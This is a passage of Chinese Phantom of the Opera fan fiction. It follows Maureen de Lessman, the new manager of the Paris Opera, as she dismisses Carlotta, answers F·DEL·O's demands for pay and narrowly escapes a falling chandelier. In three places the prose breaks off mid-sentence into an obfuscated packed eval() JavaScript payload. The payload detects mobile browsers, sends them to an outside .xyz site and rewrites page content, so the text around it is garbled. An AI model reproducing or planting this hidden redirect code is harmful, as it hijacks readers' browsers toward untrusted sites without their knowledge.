《[歌剧魅影]巴黎美人》 1. 女经理 “我父亲出生在伦敦，母亲是法国人。自从她嫁去英国以后，就和这边的亲戚断绝往来了。即使是他们离婚以后，母亲带着我回到巴黎，也从没人来看望过我们。” “那么您已经不属于德·莱斯曼家族了？” “可以这么说。” 她扫了采访者一眼，似乎有些不悦，又似乎那只是对方的错觉。 女人接着说：“不过我还是会允许你尊称我为莱斯曼小姐，毕竟我也不会再有别的名字了”。 她的脸上浮出自嘲的笑容。 莫琳·德·莱斯曼，巴黎歌剧院的新任经理。 莫琳回到巴黎有相当一段时间了。准确地来说，是十八个月。 十八个月以前，她的名字还是莫琳·坎贝尔，约翰·坎贝尔是她血缘关系上的父亲，她生活在坎贝尔家族的荫蔽之下长达二十年。 前二十年的日子平静而惬意。直到一个午后，她的母亲当场勘破了父亲和女佣的私情，并用烛台砸伤了对方的额角。没有人知道，当时在现场的不仅仅是他们三个人，门背后还藏着想要去和母亲讨论最新檐帽样式的莫琳。约翰·坎贝尔对自己妻子的不敬恼羞成怒，责令将坎贝尔夫人囚禁，并顺势将莫琳许配给了远方表亲家的男子。他对自己的妻女弃若敝履，没有顾念一丝一毫的情分，于是坎贝尔夫人不得不反击。在买通几个奴仆后，她带着莫琳和所有私人财产义无反顾地离开了英国，回到了出生和长大的巴黎。 可即使是回到了巴黎，也无法挽回坎贝尔夫人所受到的伤害了。很长一段时间里，她意志消沉，茶饭不思，很快被医生诊断出各种疾病。再后来，她在巴黎的冬天里安详地过世了。她走之前的最后时刻牢牢握着自己女儿的手，她对她说：“永远不要回去”。 再然后，就是她的新生活了。 虽然手握大笔财富，但莫琳渴望能依靠自己做出一番事业来。她必须在巴黎立足，她必须有力气与坎贝尔抗衡，起码不再重蹈她母亲的覆辙了。 于是，两个星期前，她从菲尔曼·里夏和阿尔芒·蒙夏曼手里接下了这块地方。 那两个蠢货像是被鬼附身似的急着要把歌剧院转手。在她猛烈的攻势下, 居然协商到了一个几乎可以说是前所未有的价格。 但她却又很快发现，这世上怎么会有不精明的商人呢？ 只需要仔细翻阅几册账目就能够发现，实际上歌剧院的经营已经到了十分糟糕的地步。虽然巴黎歌剧院名声鼎盛，却也被各项繁冗的大额开销压得喘不过气来。更何况，歌剧院目前的盈利并不非常可观，先前的革命过于大刀阔斧，带来的余热几乎将国家的经济凭空蒸发了一半，像以前那样愿意撒钱买消遣的贵族数目快速缩减，对于一些缺乏大众化的芭蕾舞剧来说，上座率甚至可以称之为惨淡。换做任何一个人来接手，她/他都不得不对此而感到头痛。 莫琳现在亟需要做的，就是重振歌剧院的名声。她需要更多的观众，越多越好。至于这个名声来源究竟是她本人还是歌剧本身，那都不重要。 在母亲故去后，莫琳修改了自己的姓氏。坎贝尔不复存在，取而代之的是莱斯曼小姐。而莫琳决定，就让莱斯曼成为歌剧院的第一块新招牌。 《晨报》的记者昨天才刚刚收到来自歌剧院的邀约，署名为莱斯曼的女士声称自己即将成为巴黎歌剧院的继任经理，并将在不日安排上演据说是经由她本人改编的新剧目，邀请他来做一项专访。为了这个专访，他可以说是和其他几名记者争破了头。 不为别的，莱斯曼家族正是巴黎此时最炙手可热的几个名字之一。他们称不上什么名流贵族，但战争年代，上流社会几乎凋零，从前那些华美的诗歌，绸缎，晦涩难懂的贵族名号早已失去了往日光辉，只有手中握有军火和财富才是真理。而莱斯曼家族正是依靠贩卖军火起家的。 也许是不想引人注目，这个神秘家族在外活动的次数屈指可数。在正式场合露过面的只有掌家的莫里斯·德·莱斯曼先生，和他的大儿子昆西。 在此之前，莫琳这个名字从未在巴黎社交界出现过。 由于她独特的姓氏，晨报的记者科尔下意识地将她归入了莱斯曼家族，以为她是莫里斯先生哪位尚未露过面的女儿，这才急匆匆地赶来剧院，生怕错失了独家消息。可他没料到，自己连凳子都还没坐热时，莫琳就向他袒露了自己的身世。 “您在听吗？”莫琳察觉到他的走神，用指关节轻轻敲了敲手里的骨瓷茶杯。 男人微愣了一下，随即反应过来：“当然”。 他迅速地合上手头的笔记本朝她致意：“感谢您的配合，莱斯曼小姐。最后两个问题在我们的提纲范围外，请允许我为我的失礼道歉。我们会尽快完成这篇稿子，为歌剧院的新演出造势。” “非常期待。” 没有哪个绅士能对坦诚真挚的女士作出指责。即使他知道这位“莱斯曼小姐”是故意抛出自己的姓氏引他们上钩，他仍然尽职尽则地完成了这次采访，只在最后才再次明确了她的身份。 虽然莫琳小姐斩钉截铁的否认如同一盆冷水将他当头泼醒，但“莱斯曼”并不是假的。 科尔的大脑迅速转动着，嫁到伦敦的法国人，她的母亲大概率是莫里斯先生那位缄口不言的妹妹，那位“叛逃者”，为了“伟大”的爱情而不惜与家族割裂。 英法之间那种微妙的紧张关系是人尽皆知的。在兵败之后，这两个地域之间人民相互唾弃得更加厉害，可即便如此，仍然有不少被伦敦抛弃的英国人来巴黎畅想新生活，也有在巴黎混不下去的法国人跑去伦敦打秋风。 这位小姐的国籍本就是个容易引起争议的话题，再加上她的家族背景，根本不用发愁《晨报》这一期的销量。 “莱斯曼家不被承认的女儿”，“巴黎明珠蒙尘歌剧院”，几个夺人眼球的标题迅速浮现在科尔的脑海中。他心潮澎湃地握紧了手中的采访材料，冲出了歌剧院大门。 这篇访谈必须尽快见报，越快越好。 歌剧院里。 卡洛塔夫人正坐在她的专属软凳上，大肆嘲讽正在排练的演员们。 “瞧瞧，她连两个八度的音都唱不上去，还妄图想要取代我。 提到莫琳，她又不得不想起当天自己受到的奇耻大辱。这位新来的莱斯曼小姐居然当众撤掉了自己首席女高音的位置，让大家互相举荐，贤者上任，最终定了一位籍籍无名的新人。她当然不愿意沦落为一个配角，于是整日在后台游荡，不时出言讥讽几句。要么是对着那位新首席冷嘲热讽，要么就是用自己庞大的身躯挡住芭蕾舞女们下一步的走位。 她越想越忿恨，将自己缝满蕾丝的裙摆攥得紧紧的，嚷嚷道：“如果没有我忠实的观众，这个歌剧院倒闭只会是板上钉钉的事。” “当然了夫人，毫无疑问，观众们都是追随您而来的！”卡洛塔身后的两位仆从谄媚地恭维她，姿态比她那只受宠的爱犬放得更低。 卡洛塔：“等歌剧院倒闭了她就会知道要候在我的门前拜访我了！而等到那个时候，我连一扇窗户也不会为她打开的。” “倒闭？”身后传来一声嗤笑。 卡洛塔被熟悉的声音吓出了一身鸡皮疙瘩。不知道什么时候，嘈杂的后台安静得落针可闻，她只能听到一声又一声皮靴叩响木质地板的声音。 “我看是你先要被解雇才对”，莫琳·德·莱斯曼越过排练团的众人站在她面前。她脸上连粉也没敷，穿着式样新潮的立领收腰衬衫，脚上蹬了一双山羊皮的男式短靴，看上去比那些巴黎的爵士贵族还要气势凛然。 周围的人群自觉地为她让出一条道来，刚才忙着奉承卡洛塔夫人的两个人早就已经消失得无影无踪了。 莫琳说完，上下打量了卡洛塔一番，确定自己换掉首席的决定是无比正确的。 早在她第一次扮成普通客人来观看演出时，她就注意到了卡洛塔夫人的唱腔花哨，华而不实。即使演出席上的确有不少她的狂热粉丝，但其他的客人却对此昏昏欲睡，她看到不止一位在后半场低着头打瞌睡的场景。 更为致命的是，卡洛塔处事高调，为人也并不谦逊。她似乎听不见任何的建议，从始至终都沉溺与自己为自己构建的虚幻世界之中，就连她的粉丝，也不能得到什么好脸色。 于是，在莫琳正式接手歌剧院的几天后，她立刻将重选首席作为改变的开端。 “我本来只是想要在别的位置上磨练磨练你，好教你放弃掉那些华而不实的唱腔。你知道的，歌剧院会定期重选首席，卡洛塔，你并不是毫无翻身的机会。可你是怎么回报我的？在背后对我的演员们冷嘲热讽？诅咒我的歌剧院破产倒闭？” “如果我离开了，还有谁会来看你们的新首席？！”卡洛塔硬着头皮回答她。 “好啊，既然你要来挑战我，那我们就试一试，如果没了你那些...‘忠实’的观众，歌剧院到底会不会饿得吃不上饭”，莫琳一把将傻愣在旁边的道具管理员提溜了过来，“协助 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018805|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡洛塔夫人将她的东西搬走，就今天。” 听到她的话，卡洛塔不由自主地缩紧身子，嘴唇颤抖得说不出话来。 这个谎话连篇的女人到底在说些什么？定期重选首席？她怎么从来没听人说起过这则消息？ 此刻她该做什么？她该戳穿她，该让她闭嘴，可她连一个音节也发不出来，而莫琳那张骇人的嘴也丝毫没有停下的意思。 “噢，还有这两位。我不知道歌剧院有这么多闲钱养一群废物。” 莫琳瞟了一眼刚才忙着恭维卡洛塔的二人。 没人敢说话。 早在撤掉首席位置时，他们都见识过了这位女经理说一不二的做派，大家都害怕下一个倒霉的会是自己。于是卡洛塔僵硬着脸，眼睁睁看着管理员将她那把软凳抽了出去，像丢垃圾似的扔到了门外。 “你什么也不懂！你不过是个连一句歌剧也听不懂的英国乡下人，有什么资格来指责我！” 卡洛塔夫人从震惊中回过神来，控制不住地辱骂出声。 她已经失了智，周围人都想，这回她彻底没有机会回到这里了，这句话对于那位女经理来说已经是极大的侮辱。 “是的，我是个英国乡下人，”莫琳丝毫没有因为她的冒犯而发怒，她转过身去，对着其他演员和舞女们说：“可你们要记住，是我这个英国乡下人保障了你们的生计。任何人，任何人扰乱歌剧院秩序的，下场就在这里。” 除了卡洛塔以外，现场受到惊吓的还有可怜的克莉丝汀，那个临危受命的女高音。在卡洛塔下场以后，众人不约而同地将同情的目光投向这个女孩，她的脸色已经变得和纸一样苍白。 就在前几天，她因为试唱时所展示出的出色天赋而被众人推选上了新首席的位置。 说起来，她和这位剧院新来的女经理岁数相仿，可遭遇与地位却截然不同。 莱斯曼小姐虽然来自英国，甚至听说是和家族割裂的‘叛逃者’后代，可她家底丰厚，出手便能买下一整个享誉巴黎的歌剧院，本人更是行事高调果决，毫不在意外界目光。想想也是，哪位巴黎有声名的小姐会穿着骑装裤和男士短靴来巡视歌剧院呢？ 反观克莉丝汀，幼年失孤，全依托歌剧院的吉里夫人将她养大。在莱斯曼小姐接手歌剧院以前，她连唱歌的机会也不太有，更多时候只是在芭蕾舞团中担任没有台词的舞女而已。她善良敏感，剧院里年纪大些的老人都将她当作自己的女儿般看待。 如果要克莉丝汀用这样的语气和卡洛塔夫人说话，哪怕是世界毁灭了也不可能。 克莉丝汀不敢看莫琳的眼睛。她忽然觉得，自己大概会挨不到表演开始，就和卡洛塔夫人一样，被这位雷厉风行的小姐扫地出门。 如果是一个月以前，可能还有些希望。 旁人不知道，可她却很清楚地明白自己并没有什么令人惊艳的天赋。她从小就有着成为歌唱家的梦想，却在岁数渐长后不得不承认自己资质平凡。她的嗓音平平，歌喉既不得华丽也不空灵，没有人注意到她在杂物间反复哼唱的那几个曲调。一切的改变发生在她遇到音乐天使之后。 是他教会她掌握音乐的美妙，也是他帮助她的歌喉恍若新生。 她绝望地想：她就不该和劳尔（她许久未见的青梅竹马）见面，引得“他”勃然大怒。她明知道他的自私与苛刻，可依旧不受控制地奔向了自己年少时期那个绮丽的梦。现在的后果都是她咎由自取。 一个月以前，那位音乐天使，她神秘的歌唱导师，失踪了。 他没给她留下任何东西，连同他赋予她的声音。在他离开以后，她的嗓子又重新变得粗涩，音域变得又细又窄，她需要很艰难地尝试才能发出高音。那条在他指导下原本宽阔敞亮的音乐之河如今暗流涌动，遍布陷阱。 她借由保护嗓子之名躲过排练，但她知道一切都会在演出那天露馅。那个时候，不仅是歌剧院的演出，还有劳尔，他也会发现她所隐瞒的事，她将成为搞砸一切的人。 克莉丝汀躲开大家的目光，把自己锁在房间里，抱着梳妆镜缓缓流下泪。她唾弃自己的贪婪，既想去摘伊甸园里那爱情的硕果，又舍不得上帝以独身为赌注而赐予她的音乐。她几乎是自暴自弃地想，“只要他能回来，只要音乐天使能原谅我，要我怎么样都行。” “你真的愿意付出任何代价吗？克莉丝汀？”遥远的地方再次传来熟悉的声音。 而这次克莉丝汀没有再犹豫了：“是的，我愿意。” 2. 交换 在莫琳·德·莱斯曼来到巴黎歌剧院的第三个星期，她的个人专访终于见报了。 晨报的记者将她描述成了一位富有极高鉴赏力的独立新女性，并且在不惹人生厌的范围内对她与莱斯曼家族的纠葛进行了艺术性加工，增加了各个阶层的可读性。非常不值得一提的一点，这位记者似乎对她有着个人化的欣赏，在末篇大肆赞扬了一番莫琳的美貌，声称她是巴黎遗落在伦敦的蒙尘明珠。 今早她去寓所楼下的面包店买早餐时，还听见有两个年轻女孩躲在柜台后边小声探讨。 “那位就是晨报上说的莱斯曼小姐吧！她从前似乎也常来，我们先前居然都没有注意过这件事儿！” “谁能想到会有贵族家的小姐住在这儿？我还以为她们全都是深居在大庄园里的。”其中一位女孩自言自语道，她的目光始终追随着莫琳，让人很难忽视。 另一个则非常赞同她的观点，使劲点头说：“谁说不是！我以前只觉得这位小姐打扮有些大胆而已，甚至还猜测过她是哪位新来的交际花呢？” 话音未落，这个女孩就被同伴捂住了嘴巴，“你怎么敢说这样冒犯的话！”。 “对不起，我......” 她刚打算道歉，就被另一位小姐高昂的声音给盖了过去。 “你说的一点儿也没错！”她从鼻腔里发出了??冷哼：“看来莱斯曼的家教的确不怎么样，竟然会让自己的侄女住在这种地方，甚至去歌剧院抛头露面！我看她当务之急并不该在这里买面包，而是该去隔壁的街上多和几位绅士搭话，看能不能把自己嫁出去才对。” “这位小姐，我想我们不认识。” “你当然没有机会认识我！”她依旧昂着下巴：“我的家教森严，从不允许女儿们在外从事肮脏的金钱交易，更不会和男人们厮混在一起！这是只有穷人才做的事情。” 这回连柜台后那两个女孩的脸色都变得难堪了。她所鄙夷的不正是她们所赖以谋生的吗？ 虽然这些话极具攻击性，就算说她们俩之间有仇也不为过了，但莫琳很大度地没有计较，反而面色如常地给自己的小麦面包付了钱。直到女孩帮自己结完账才开口： “记住了吗？” “什么？”女孩一头雾水。 莫琳耐心地和她解释：“刚才这位小姐说她不会从事肮脏的金钱交易。那么我想你们应该警惕，她一会儿大概率是不打算为自己的东西买单的。” “我们怎么称呼这类行为来着？对了，盗窃。” 然后她转过头，对着那位面色青白的小姐说：“我必须承认，认识你这样的人并不是什么好事。一个虚伪自大，刻薄又丑陋的空心人，又怎么会值得别人浪费时间与她结交呢？” “扑哧” 另一位女孩率先反应过来，她忍不住笑出了声。 “你！”那位小姐气得说不出话，泄愤似的将手里的东西甩在地上，然后推门而出了。 “莱斯曼小姐，请等一等，”眼见莫琳也打算离开，柜台后的女孩恍然大悟似的拍了拍口袋，着急地说。 “我们必须为刚才的话向您道歉，对不起”，两人十分诚恳地朝她鞠了个躬，然后将她刚才付的法郎退了回去：“就当我们的赔礼了。” “不用了，”莫琳没有收下，她朝两人眨了眨眼睛：“保持肮脏的金钱交易才最让我放心”。 要说她有没有生气，事实上，这点小插曲可没办法影响莫琳的心情。她在心里想，好歹交际花也不是人人能当的，起码她们没有抵赖自己是个美人这件事。 而她今天大多的好心情大概是来源于这份令人十分满意的专栏。 ——新剧目的票全都卖完了，这是她想要的结果。 莫琳不知道的是，这篇专栏不仅仅为她的新剧目带来了上座率，还在巴黎社交界掀起了不小的波澜。这件事几乎成了莱斯曼家访客们挂在嘴边，用来插科打诨的玩笑话。 莱斯曼家实力斐然，但花边新闻却少得可怜，这位初初崭露头角的莫琳小姐无疑成了大家的新消遣，尤其是她在巴黎的首秀。看歌剧的女士不少，可上来便要管理歌剧院的却只有她一个。莫里斯先生对此感到十分头疼，最近来拜访他的人更多了，他们手里几乎都握着歌剧院新剧目的门票，半开玩笑地恭维他有这样一位天赋异禀的侄女。 没错，莫琳确实是他亲妹妹的女儿。可即便如此，他们之间早就不剩什么血脉亲情了，他甚至已经将近十年没再见过她。 他认为莫琳行事这样高调是为了夺得他的注意，一定会在舆论发酵到最高点时上门前来拜访他，可却坐等右等都没见到她的影子。这下，即使冷静如莫里斯先生，也没忍住私下吩咐了昆西去替他弄一张票来。 “去看看她到底想做什么。” 这女孩是在替她的母亲报复我们，一心想要弄臭莱斯曼家族的名声。莫里斯想。 对此一无所知的莫琳坐在办公室里打了个喷嚏。她还以为是自己高兴过头了，于是披上挂在椅背后边的毛毯，打算去后台看看演员们的排练情况。 “莱斯曼小姐。”吉里太太在门口拦住了她。 “有什么事吗？”莫琳问。 吉里太太没说话，递给她一封红底烫金的信，上面用火漆章做了骷髅式样的蜡封。 ——平日和莫琳有信件往来的人不多，他们的徽章莫琳都能记得，这个别致的蜡封在她的记忆里从未出现过，要么是仇家，要么是来自巴黎的新追求者。 莫琳简单地下了判断，折回办公桌前取了把银制的裁信刀，将信封整齐地划开了一道口子。 「亲爱的莫琳·德·莱斯曼女士， 欢迎来到我的剧院。 听说卡洛塔夫人已经被您辞退，首席女高音暂由克莉丝汀担任。这是非常明智的选择，她会在演出上向您证明。但我并不赞同您在《晨报》上所刊登的内容，将个人琐事与歌剧院捆绑将会玷污创作内容。 另外，费尔曼先生已经拖欠了我两个月的工资，共计四万法郎，请您按时缴纳。 届时我会在五号包厢欣赏新剧目。 您忠实的仆人， F·DEL·O」 “他的剧院？” 莫琳看了一眼吉里太太，对方却见怪不怪地避开了她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018806|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视线，像是已经对这种疑虑习以为常。 “F·DEL·O是谁？”她换了个问题，继续问。 “您应该按照他说的做”，吉里太太没有给出正面回答，而是强调道：“先前的费尔曼和阿尔芒先生都已经为此倒过霉了。” 原来是这样。 莫琳找回了一点儿思路。怪不得言辞间如此不尊重，不用见面就知道对方是个怎样心高气傲又习惯于威胁恐吓的人，这位F·DEL·O大概率是和那两位经理着急转手剧院脱不了关系。是他吓跑了那两个胆小鬼。不过凭借什么手段？ 作为商人，她倒是很有兴趣学习一下。不过即便是他为她提供了买下歌剧院的契机，也没有让她这个现任主人付工资的道理。更何况，他说什么来着？他的剧院？那么她银行账户里烧掉的上百万法郎算什么？那可是她几乎过半的家当。莫琳又不是一个骷髅头就能吓哭的小姑娘，怎么可能就这么听从对方的指示。 她扫了一眼吉里太太那张平静的脸，知道指望不上对方，于是干脆坐回办公桌写信。 「F·DEL·O 先生， 首先感谢您对我的问候，总的来说，歌剧院还算合我的心意。 很少有人能理解我撤掉卡洛塔夫人的安排，在此不得不赞美您的艺术品味。我很期待克莉丝汀的演出，希望能如您所说的那样完美。 不过，您的工资恐怕不应该由我承担。如果您非要坚持，麻烦附信寄来您过往的工作要则以及成果，不然我不会给没有贡献的人一分法郎。 一切为了歌剧院的荣誉。 莫琳·德·莱斯曼」 她拉开抽屉，想把自己的署名章给翻出来，却又顿了顿将手收了回去。最后只把写好的回信以及厚厚一沓的财务清单塞进原先的红色信封里。 由于她裁信的习惯——只在开封处留下一道缺口，那枚骷髅蜡封也得以完整地保留下来，她甚至懒得将自己的徽印替换上去。她完全把这封信看成一个笑话。 她拿着信封，朝依旧候在身边的吉里太太说：“麻烦替我转交给这位F·DEL·O 先生，告诉他，如果有什么意见，可以直接到办公室来找我，这样效率更高”。 她的语气平淡又随意，丝毫没有受到惊吓的样子。 吉里太太接过信封，表情变得更古怪了。 可能是因为她的举动，也可能是因为她的话，总之她实在看不懂这位莱斯曼小姐。莱斯曼小姐在回信时没有刻意避开她，故而她也看到了回信的内容。 实在不敢想象那个人该会有怎样的反应。只希望这位女经理能活得长一些，吉里太太默默在心中祷告。刚才她刻意表现得不通情理，就是想让她在处理这封信件时更谨慎一些，可结果却不尽人意。她和前两位一样，只有真的遭遇不幸才会认真对待这位F·DEL·O先生了。 这位女经理才来不久，可她却见过了数场因F·DEL·O先生所导致的灾难。这位先生神出鬼没，称得上是歌剧院背后的主人，前两位与他意见不合的经理最终都在和他的战争当中败下阵来，最终落荒而逃了。那么这位女经理呢？她又能坚持多久？ 3. 预演 预演日就在这周五。 新剧目将在歌剧院内部原原本本地按照流程上演，每一处细节都力臻完美，才不至于在演出当天出现什么不该有的意外。 预演场的观众不多，大部分是莫琳安排的内部人士。届时他们会被三两分散在整个观众席上，以确保各个角度的观众体验都是令人满意的。 所有的演员，舞女，歌唱家都对这次预演严阵以待。道具管理员将配剑擦得锃光发亮，吉里夫人拉着芭蕾舞团做了连续三天的夜训，连舞台布景使用的吊索都换了新。没人想在这位严格的女经理面前丢脸。 深红色的手绘天鹅绒幕布垂落舞台两侧，吊顶上鎏金彩绘的古神向下凝视众人。 莫琳抱着手坐在专属包厢内，吉里太太就站在她的身侧。不是因为别的，而是她们这个位置能最清晰地看见每位芭蕾舞演员的动作，抬腿，展臂，腾空，莫琳毫不怀疑吉里太太的眼睛能分辨出哪怕是五个角度的差别。 第一幕将要随着感恩赞美歌的齐诵而落尾，红衣主教用他充沛的情感灌入进了那首经典的抒情咏叹调，祈求主宽恕他的背信者。他的声音醇厚而绵长，让人想起真正的天鹅绒。 如果这时候莫琳往底下的观众席瞟上一眼，就会发现有不少人都被这曲咏叹调吸引，面容虔诚地望向那位红衣主教，仿佛他即是主的化身。 莫琳不信教，可巴黎信。 她之所以撤掉先前那些陈词滥调，用来歌颂战争英雄的剧目，是觉得那些已经揽够了人们兜里的法郎。也许的确还有不少男士热衷于此，可贵族小姐们不爱看蓄着胡子的中年男低音在他们耳边与女高音调情，这让人失去兴致，久而久之，甚至倒人胃口。莫琳从前也是这些贵族小姐间的一员，她知道她们爱看什么——年轻的爱情，情人间的争夺，颠倒的家族血缘，再加上庄重的宗教背景，她们每个人都能与此产生自然而然的共情。 “哒哒”，有人在敲门。 吉里太太走过去，是原定过来送节目单的人。不知道为什么，他晚到了。 吉里太太皱着眉从托盘上接过剧目单，却发现那人的手正无法控制地颤抖着。他的嘴唇惨白，脸色发青，像是刚见了鬼。吉里太太刚想问他发生了什么，就发现一小张粘在剧目单背后的羊皮纸掉了下来。上面的花体字是用红墨水写的。 “是什么？”莫琳的视线终于从舞台上收回来，她看到吉里太太俯身的动作做到一半就僵住了。 对方停顿片刻，把纸条递给她，说：“您自己看吧”。 「为您的新剧目送上一份薄礼 --F·DEL·O」 “哦？这回连信封也吝啬装给我了？”，莫琳面对这份着笔幼稚的威胁信，一点儿动容的痕迹也没有。还在英格兰的女校时，这种东西她不知道给别人送过多少次。 她神色自若地将纸条丢给了吉里太太，说：“送礼人不到，这位先生真是连一点儿诚意也没有”。 吉里太太已经见惯这位女经理的大胆了，可她依旧觉得自己有必要提醒她事情的严重性：“莱斯曼小姐，我还是建议您中止预演”。 “中止？”莫琳将那张羊皮纸丢回给已经站成一尊雕像的侍应生，回答她：“现在可不是什么说玩笑话的好时候。” “为了在出现更大意外之前。”吉里太太依旧坚持。 莫琳猛地侧过头看着她，脸上的笑容褪得干干净净，“就为了这个人一句话？”，她不可置信地问，“如果预演能被他这么轻而易举地打断，那么首演是不是也可以？” “我希望你能分清楚，究竟谁才是歌剧院的主人。” 他们年轻的女经理被激发出了难得的戾气，她似乎有些失控。 “演出一旦开始就不可能被中止，也没有必要。他不是要送礼吗？我们走了的话，谁来收？”莫琳坐回自己的位置，冷冷地看向吉里太太。在她心中，对方似乎已经成了某种意义上的帮凶。 吉里太太脸上的每寸骨肉都崩得紧紧的。 她知道她劝不了这位女经理，每位新来的经理都是这样，没有人会在一开始就相信她，他们非要自己吃到苦头才行。 像是为了要印证她的话，这时舞台上方突然传出一声异响。 就在所有人都没来得及反应过来的时候，巨大的吊顶水晶灯往下一坠，像一柄破空利刃，直冲莫琳所在的包厢砸来。 莫琳记得，久在她初来歌剧院进行交接时，自己就毫不吝啬地向前经理称赞过这盏灯。“辉煌而盛大，恰如歌剧院于巴黎”，而现在，这盏失去控制的辉煌艺术品，化作了天然带有掩护的杀人利器，命准的就是眼前这位屡番挑衅的新主人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018807|162159||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 是F·DEL·O，他打算杀了我。 莫琳想。 她们间的距离仅仅剩下几英尺，莫琳甚至能清晰地看见吊灯上面缀饰着的宝石矿物。来自奥地利的绿松石，阿拉贡的煤玉，哥伦比亚的黑曜岩..... 她还来不及一一辨认，那些流线形的彩绘水晶在光影折射中幻化为一道道短而锋利的光刃，笔直的扎入莫琳的瞳仁里，试图凭借它耀目的锋芒令人陷入晕眩。 “我要见你”，她用几乎查不可闻的声音说。 包厢里只有莫琳和吉里太太，这话却显然不是说给对方听的。 而最后一刻，就在水晶灯几乎与莫琳贴面而过时，变故突发。庞然大物陡然在空中发生了急转，像是被人用蛮力强行拽回的玩具那样，丝毫不带转圜地原路急退，直直地坠落在舞台中央。 轰隆一声巨响。 莫琳的脑子里像是崩了线。 还有许多怔愣在原地的演员没来得及反应，即使被旁边眼疾手快的同伴拽了一把，还是没能避免擦伤。一时间现场乱作一团。 尖叫声此起彼伏，或高或低的音调融合成鼠尾草上扎人的刺： “我的胳膊！” “我的腿！” “它在流血！我止不住！” “谁来帮帮我？！” 人声沸腾之间，舞台上的人正手忙脚乱查看彼此的伤势，下面的观众则茫然地杵在座位上。秩序不复存在，刚才那些宁静神圣的咏叹调则早在敲门声响起时就消弭四散。 莫琳像是一瞬间被抽干了所有的力气。 她瘫坐在包厢的软垫上，迟迟没有缓过神来。 过去的日子里，她不是没有见识过恐吓和威胁，甚至与之相伴生活许久。但来自于死亡的威胁，她却是不曾经历过。在那盏灯要砸过来时，她想起来母亲弥留之际枯槁的面容，想起她从前怀抱她温暖的手，想起英格兰树叶缝隙中透过的阳光。她真的以为自己要死了。 “快，快去找医生来！”目睹这一切发生的吉里太太最快反应过来，她推了一把来送节目单的年轻男人，自己则眼疾手快地扶住了莫琳。 随着水晶和宝石在地面上砸出的巨响，莫琳的思绪也终于渐渐回笼，她看向舞台上方，吩咐吉里太太去将负责舞台布景的工人带到自己的面前。 4. 胸针 “死了？！” 吉里太太第一次在这位女经理的脸上看到这么复杂的神情。 她不断地转动着手上的灵蛇状戒指，像是在借此平息心中汹涌起伏的情绪。 这份“礼物”实在是出乎意料。可所有人又都对背后的现实心知肚明——这不过是幽灵先生对于莫琳一次小小的问好。那份逾期不久的四万法郎不至于令他这样大动干戈，在这重要的权力更迭时期，他是在警告歌剧院的人认清归属权所在。 莫琳绝不会眼睁睁看着他毁掉自己的财产。 虽然巴黎对于她来说尚且属于新地界，但不代表她完全不具备反击的力量。 她必须做点什么。 这位有着柔顺金色卷发的海伍德小姐在隔天下午到达莫琳的公寓。 “莫琳！” 她被佣人从马车上搀扶下来，脸上的喜色溢于言表。 “你不知道我在家里待得有多闷，还好你写信给母亲，我才有了出来玩的机会。” 达茜.海伍德是她在英国时的至交好友。 海伍德家族属于历史源远的旧派贵族，被皇室封衔掌管苏格兰的领土。他们家在高地边缘的岛屿上拥有数座景观壮阔的城堡，莫琳曾几番被邀请前去度假。 现在她回到巴黎，刚立稳脚跟就急匆匆给对方写了信。她知道达茜是个闲不住的性子，如果不是囿于姓氏枷锁，游历列国恐怕才是她的志趣所在。 没想到，这回却误打误撞碰上了这件事。 “你别告诉我这是把家都搬来巴黎了？” 莫琳迎上前，瞧见达茜随身的管家正指挥下面的人将行李一箱箱搬出来。 “才没有”，达茜拉着她的手撒娇，“我真的只带了一小部分，保证不会占用你太多地方的。” 这句话很快就得到了应证。 当海伍德小姐站在夏朗顿路十七号公寓的楼下时，她流露出了不可置信的眼神。 “莫琳坎贝尔，你怎么会住在这种地方？连花园都没有？” 不能怪海伍德小姐不食烟火，毕竟在英国时，莫琳的父亲-也就是坎贝尔家，可在不列颠拥有一大片占地超过五公顷的私宅。虽然那并不完全属于莫琳本人，可她也不至于要沦落到住进这种房子。 莫琳给车夫付过佣金和小费，转头笑着回答好友：“你猜什么？还有更惊讶的事情呢。” “这些行李，恐怕得靠自己抬上楼去。” 还好达茜这次出门带了随身的佣人。莫琳看了看自己戴着小羊皮手套的手，想，让她们两个来做这些粗活实在是不太现实。 达茜已经惊讶得说不出话来，任由自己的女佣和管家将行李一层层往上搬。直到站在莫琳的客厅里，看见自己的箱子几乎将客厅塞得没有落脚之地，才勉强回过神来。 她艰难地开口，不知道该拣些什么话来说。 “莫琳，你是不是遇到了困难？”她突然转过身问，华丽的裙摆挤在狭隘的空间里，差点将自己绊了一跤，“你早点和我说就好了，我虽然没什么私产，但可以从我母亲那儿要，实在不行，多卖几样首饰也够接济你。” 